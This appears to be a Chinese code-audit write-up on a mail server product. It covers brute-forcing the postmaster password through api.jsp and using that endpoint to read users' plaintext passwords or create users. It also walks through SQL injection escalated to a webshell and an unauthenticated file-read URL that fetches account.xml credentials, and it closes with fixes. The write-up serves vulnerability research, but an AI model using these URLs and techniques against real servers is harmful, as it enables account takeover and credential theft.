我这里本地搭建的5.2.0
版本后台貌似只能开启前台用户登录的验证码,管理入口的没找到在哪开启,不过之前在项目上遇到了很多管理入口也是开启验证码的情况,所以这个点还是有价值的~
先看到api.jsp
,根据注释提示,这是一个管理员操作用户的接口文件
代码量不大,这里直接贴出来,删除注释部分
<%@ page contentType = 'text/html;charset=utf-8' %> <%@ page import = 'java.util.*' %> <%@ page import = 'java.text.*' %> <%@ page import = 'turbomail.web.*' %> <%@ page import = 'turbomail.util.*' %> <%@ page import = 'turbomail.mime.*' %> <%@ page import = 'turbomail.organization.*' %> <%@ page import = 'java.sql.*' %> <%@ page import = 'java.io.*' %> <% response.setHeader('Cache-Control' , 'no-cache' ); response.setHeader('Pragma' , 'no-cache' ); response.setDateHeader('Expires' , 0 ); response.setContentType('text/html;charset=UTF-8' ); if (MailMain.m_tmc == null ) return ; String pwd = request.getParameter('pwd' ); if (pwd == null ) { pwd = '' ; } UserInfo userinfo = new UserInfo(); userinfo.setUid('postmaster' ); userinfo.is_first = true ; userinfo.domain = 'root' ; userinfo.str_cn = 'postmaster' '@' 'root' ; String strCFPath = MailMain.s_config.getMailDirPath() System.getProperty('file.separator' ) 'root' System.getProperty('file.separator' ) 'postmaster' System.getProperty('file.separator' ) 'account.xml' ; userinfo.account = new UserAccount(); try { if (MailMain.m_tmc.USER_AUTH_TYPE.equals('AUTHCENTER' )) { userinfo.account.mysqlInit('root' , 'postmaster' , false , '' ); } else { userinfo.account.init(strCFPath); } } catch (Exception e) { e.printStackTrace(); out.write('-3' ); return ; } if (!userinfo.account.checkPassword(pwd)) { out.write('-4' ); return ; } %> <% String type = request.getParameter('type' ); if (type == null ) type = '' ; if (type.equals('add' )) { UserAccount ua = null ; try { String domain = request.getParameter('domain' ); if (domain == null ) { out.write('3' ); return ; } String username = request.getParameter('username' ); if (username == null ) { out.write('4' ); return ; } String password = request.getParameter('password' ); if (password == null ) { password = '' ; } String maxsize = request.getParameter('maxsize' ); if (maxsize == null ) { maxsize = '-1' ; } String maxmsgs = request.getParameter('maxmsgs' ); if (maxmsgs == null ) { maxmsgs = '-1' ; } ua = new UserAccount(); ua.username = new String(username); ua.setPassword_sys(password); ua.usertype = 'U' ; ua.m_domain = new String(domain); ua.m_UserProfile = new UserProfile(); ua.m_UserProfile.first_name = username; ua.m_UserProfile.last_name = '' ; ua.m_UserProfile.organization = '' ; ua.m_UserProfile.department = '' ; ua.m_UserProfile.address = '' ; ua.m_UserProfile.city = '' ; ua.m_UserProfile.postalcode = '' ; ua.m_UserProfile.telephone = '' ; ua.m_UserProfile.state_province = '' ; ua.m_UserProfile.country = '' ; ua.m_UserProfile.items = 50 ; ua.enable = 'true' ; ua.enable_smtp = 'true' ; ua.enable_pop3 = 'true' ; ua.enable_imap4 = 'true' ; ua.enable_webaccess = 'true' ; ua.enable_localdomain = 'false' ; ua.max_mailbox_size = Integer.parseInt(maxsize); ua.max_mailbox_msgs = Integer.parseInt(maxmsgs); int iRet = 0 ; try { iRet = ua .makeUserAccount(MailMain.i18n_resmgr.m_DefResource); } catch (Exception e) { e.printStackTrace(); out.write('1' ); return ; } if (iRet != 0 ) { out.write('1' ); return ; } } catch (Exception ee) { ee.printStackTrace(); out.write('1' ); return ; } out.write('0' ); return ; } else if (type.equals('delete' )) { String username = request.getParameter('username' ); if (username == null ) { out.write('1' ); return ; } String domain = request.getParameter('domain' ); if (domain == null ) { out.write('2' ); return ; } String[] users = new String[1 ]; users[0 ] = username; UserAccountAdmin.deleteUserFromName(domain, users); out.write('0' ); return ; } else if (type.equals('edit' )) { String username = request.getParameter('username' ); if (username == null ) { out.write('1' ); return ; } String domain = request.getParameter('domain' ); if (domain == null ) { out.write('2' ); return ; } UserAccount ua = null ; ua = UserAccountAdmin.getUserAccount(domain, username); ua.m_domain = new String(domain); String password = request.getParameter('password' ); if (password == null ) { password = '' ; } ua.setPassword_sys(password); String first_name = request.getParameter('first_name' ); System.out.println('first_name:' first_name); first_name = Util.formatRequest(first_name, 'iso-8859-1' , 'gb2312' ); ua.m_UserProfile.first_name = first_name; int iRet = ua.saveProfile(true , false ); if (iRet != 0 ) { out.write('3' ); return ; } out.write('0' ); return ; } else if (type.equals('getnewmsg' )) { String username = request.getParameter('username' ); if (username == null ) { out.write('-1' ); return ; } String domain = request.getParameter('domain' ); if (domain == null ) { out.write('-2' ); return ; } ArrayList hsFolders = MessageAdmin.getFolderList(domain, username, 1 ); if (hsFolders == null ){ out.write('0' ); return ; } Folder tempFolder = null ; tempFolder = MessageAdmin.findFolder(hsFolders, 'new' ); if (tempFolder == null ){ out.write('0' ); return ; } int iNewMsg = tempFolder.iNewMsg; out.write((String.valueOf(iNewMsg))); return ; } else if (type.equals('getpassword' )) { String username = request.getParameter('username' ); if (username == null ) { out.write('-1' ); return ; } String domain = request.getParameter('domain' ); if (domain == null ) { out.write('-2' ); return ; } UserAccount ua = UserAccountAdmin.getUserAccount(domain, username); String userPwd = '-1' ; if (ua != null ) { userPwd = ua.getOrgPassword(); } out.write(userPwd); return ; } else if (type.equals('setuserorg' )) { String useraccount = request.getParameter('useraccount' ); if (useraccount == null ) { out.write('-1' ); return ; } String org_id = request.getParameter('org_id' ); if (org_id == null ) { out.write('-2' ); return ; } OrgMain org = OrgMain.getOrgMain(); Department d = org.findDepartment_uid(org_id); String deptfullid = org_id; if (d != null ) deptfullid = d.getFullId(); OrgUserList oul = OrgUserList.getOrgUserList(); OrgUser ou = oul.findOrgUser(deptfullid, useraccount); int iRet = 0 ; if (ou != null ) { ou.DepartmentFullId = deptfullid; oul.save(); } else { iRet = oul.addUsers(deptfullid, useraccount, true ); } out.println(iRet); return ; } %>
可以看到这里主要是两个代码片段,第一个片段接受pwd
参数,第二个片段在走完第一个片段后,接受type
参数再根据参数值判断后续流程,如果不传递该参数则不作其他行为。
第一个代码片段创建了一个用户对象,初始化为postmaster
用户,这也是系统的内置管理员用户。通过从strCFPath
(从该用户目录下的account.xml
里面获取密码)或者通过mysqlInit
(从数据库中取出该用户的密码),并加入用户对象属性中。
继续往下,有一个userinfo.account.checkPassword(pwd)
方法,如果返回为False
则输出-4
,否则不输出内容。这是一个检查密码正确与否的方法,根据不同的加密类型来处理对比密码,会自动判断处理前端传入的明文。
某mail大多数管理员会在后台配置要求验证码导致无法暴力破解。而这里就有了一个无限制爆破内置管理员postmaster
用户的接口了。
第二个代码片段就是已知管理员密码后的一些操作了,比较有意思的是“获取用户密码”这个接口
/api.jsp?pwd =管理员密码&type =getpassword&domain=域名&username=用户名
可以直接获取到用户的明文密码
另外这里也可以直接创建用户
/api.jsp?pwd =Qq123456&type =add&domain=ssr.com&username=test123&password=test123&maxsize=99999&maxsize=99999
sql注入 这套程序存在大量的sql注入,看了下貌似都是基于认证后的。
比如某mail/scheduler/manager/impl/SchedulerManager.java
public void del (String scheduleid) { Connection conn = null ; Statement stmt = null ; String sql = 'delete from t_scheduler where f_id=' scheduleid; try { conn = SchedulerDB.getConnection(); stmt = conn.createStatement(); stmt.executeUpdate(sql); } catch (SQLException e) { e.printStackTrace(); } finally { SchedulerDB.close(stmt); SchedulerDB.close(conn); } }
直接拼接scheduleid
,往上跟踪
public static void del (boolean bAjax, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { MailSession ms = WebUtil.getms(request, response); if (ms == null ) { if (bAjax) { AjaxUtil.ajaxFail(request, response, 'info.nologin' , null ); } else { XInfo.gotoInfo(null , request, response, 'info.nologin' , null , 0 ); } return ; } UserInfo userinfo = ms.userinfo; if (userinfo == null ) { if (bAjax) { AjaxUtil.ajaxFail(request, response, 'info.loginfail' , null ); } else { XInfo.gotoInfo(null , request, response, 'info.loginfail' , null , 0 ); } return ; } Hashtable<Object, Object> ht = new Hashtable<Object, Object>(); String id = WebUtil.getParameter(request, true , 'id' ); SchedulerManager sm = SchedulerManager.getInstance(); String guid = WebUtil.getParameter(request, true , 'guid' ); try { ShareAdmin.delShare('' , guid); sm.del(id); sm.delEventByGuid(id); AjaxUtil.ajaxSuccess(request, response, 'delsuccess' , '' , ht); } catch (Exception e) { e.printStackTrace(); AjaxUtil.ajaxFail(request, response, 'delfail' , null ); } }
可以看到注入参数在id
,没有经过任何处理就进来了,继续往上
直接构造传参即可。
看了下mysql的版本为5.1.45-community
,可以尝试写文件getshell,但是JDBC驱动默认不支持堆叠查询,所以这里只能盲注,没啥太大作用,还需要找一个select
的语句来执行联合查询来实现getshell
sql注入到getshell 位置:某mail/bookmark/manager/impl/BookmarkTreeManagerImpl.java
public BookmarkTree findBookmarkTree (String id) throws SQLException { String sql = 'select * from t_bookmarktree where f_id=' id; Connection conn = null ; Statement stmt = null ; ResultSet rs = null ; BookmarkTree bookmarkTree = null ; try { conn = BookmarkTreeDB.getConnection(); stmt = conn.createStatement(); rs = stmt.executeQuery(sql); while (rs.next()) { bookmarkTree = new BookmarkTree(); bookmarkTree.setId(rs.getString('f_id' )); bookmarkTree.setName(rs.getString('name' )); bookmarkTree.setUserName(rs.getString('username' )); bookmarkTree.setDomain(rs.getString('domain' )); bookmarkTree.setIsLeaf(rs.getString('isleaf' )); bookmarkTree.setMoveFlag(rs.getInt('moveflag' )); bookmarkTree.setPid(rs.getString('f_pid' )); } } finally { BookmarkTreeDB.close(rs); BookmarkTreeDB.close(stmt); } return bookmarkTree; }
往上跟
继续往上
看了下t_bookmarktree
列数为9
直接构造写入即可
可以直接打个内存马
任意文件读取 这是一个老洞了,之前提到了每个用户目录下存在account.xml
文件,里面包含账号密码等信息,可以通过文件读取的方式来获得,是个前台洞。
往上找到公开的的payload如下:
/viewfile?type =cardpic&mbid=1&msgid=2&logtype=3&view=true &cardid=/accounts/root/postmaster&cardclass=../&filename=/account.xml
实际跟了一下代码发现不需要这么多参数
首先根据servlet走到某mail.web.ViewFile
然后是不论如何都会走到GetFile.getfile
,由于该方法代码量巨大,这里就不贴了。
根据type=cardpic
直接定位到下面的位置
这里拿了cardid
和cardclass
这两个参数,经过GreetingCard.getCardRealPath
处理,这两个参数用于计算文件的实际路径得到path
:
path = GreetingCard.getCardRealPath(cardclass, cardid);
下面还有一个filename
变量,往上看看是怎么来的
从请求中查找filename=/
的位置并拿到值,然后分别赋值给fisoname
、ContenttypeName
和fname
随后构造完整的文件路径
if (AllFileName == null ) AllFileName = String.valueOf(path) SysConts.FILE_SEPARATOR fname;
由path
(之前由cardclass
和cardid
计算得到)和fname
(之前由filename
赋值得到)组成。
最后,这些参数被传递给FileManager.GetFile
方法,其中AllFileName
是完整的文件路径。
FileManager.GetFile
方法如下:
public static void GetFile (String getType, String base_dir, String filefullname, String orgFileName, HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse, String ContenttypeName, long lStartPos, long lLen) throws IOException { int i = filefullname.lastIndexOf('.' ); String s1 = '' ; boolean flag = false ; if (i > 0 && i != filefullname.length() - 1 ) s1 = filefullname.substring(i 1 ); String tempFileName = MailCoder.ext_decode_str(ContenttypeName); String s3 = getContentType(tempFileName); flag = false ; int j = filefullname.lastIndexOf(separator); if (j > 0 && j != filefullname.length() - 1 ) { String s2 = filefullname.substring(j 1 ); } else { String s2 = filefullname; } httpservletresponse.setContentType(s3); if (getType.equals('gf' )) setHeader(orgFileName, httpservletrequest, httpservletresponse); ServletOutputStream servletoutputstream1 = httpservletresponse .getOutputStream(); File f = new File(filefullname); long lLenx = lLen; if (lLenx <= 0L ) { lLenx = f.length(); lLenx -= lStartPos; } httpservletresponse.setContentLength((int )lLenx); dumpFile(filefullname, (OutputStream)servletoutputstream1, lStartPos, lLen); servletoutputstream1.flush(); httpservletresponse.setStatus(200 ); httpservletresponse.flushBuffer(); servletoutputstream1.close(); }
filefullname
,也就是前面说的AllFileName
完整路径,通过FileManager.dumpFile
方法
private static boolean dumpFile (String s, OutputStream outputstream, long lStartPos, long lLen) { byte [] abyte0 = new byte [4096 ]; int iBufLen = 4096 ; boolean flag = true ; try { FileInputStream fileinputstream = new FileInputStream(s); if (lStartPos > 0L ) fileinputstream.skip(lStartPos); int i = 0 ; long lRead = 0L ; int iCurRead = iBufLen; while ((i = fileinputstream.read(abyte0, 0 , iCurRead)) != -1 ) { outputstream.write(abyte0, 0 , i); if (lLen > 0L ) { lRead = i; if (lRead == lLen) break ; iCurRead = (int )(lLen - lRead); if (iCurRead > iBufLen) iCurRead = iBufLen; } } fileinputstream.close(); } catch (Exception _ex) { flag = false ; } return flag; }
最终通过dumpFile
来读取并输出account.xml
到浏览器
去掉3D
,然后basedecode就行
修复建议 1、针对于api.jsp
可以加上一些验证字段来防止爆破,或者根据业务场景避免外部直接访问。
2、针对于sql注入问题,可在全局对sql进行预编译;校验过滤外部传入的参数等。
结尾 1、无凭据情况下只能通过爆破或者读取配置文件来获得凭据,读取配置文件这个漏洞官方已经发布补丁,而暴力破解接口本身算不上什么漏洞,最多算是一个攻击入口。
2、登录后的sqli比较多,但是依赖登录。从代码层面看实际上存在大量的sql注入,但是很多方法中的sql语句里面的数据表实际并不存在(指直接安装完不作别的配置的情况下),所以很多方法中的sqli实际无法利用。建议审计过程中直接根据存在的数据表名去全局搜索sql语句然后回溯。
3、内置的mysql是5.x版本的,想进行监控sql相关的操作得用对应的驱动
4、还有挺多反射xss的,没啥作用就不写了。